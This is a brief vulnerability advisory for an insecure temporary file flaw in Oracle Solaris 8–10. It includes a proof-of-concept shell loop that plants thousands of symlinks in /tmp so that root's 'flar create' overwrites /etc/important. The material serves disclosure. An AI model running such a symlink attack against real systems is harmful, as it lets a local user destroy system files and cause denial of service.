    Oracle Solaris is prone to an insecure temporary file creation vulnerability.
    
    A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.
    
    Oracle Solaris 8, 9 and 10 are vulnerable. 
    
    
     $ x=0
     $ while [ "$x" -le 30000 ];do
     > ln -s /etc/important /tmp/.flash_filter_one_.$x
     > x=$(expr "$x" + 1)
     > done
    
    Later, when root creates a flash archive with:
    
     # flar create -n junk `pwd`/junk.flar
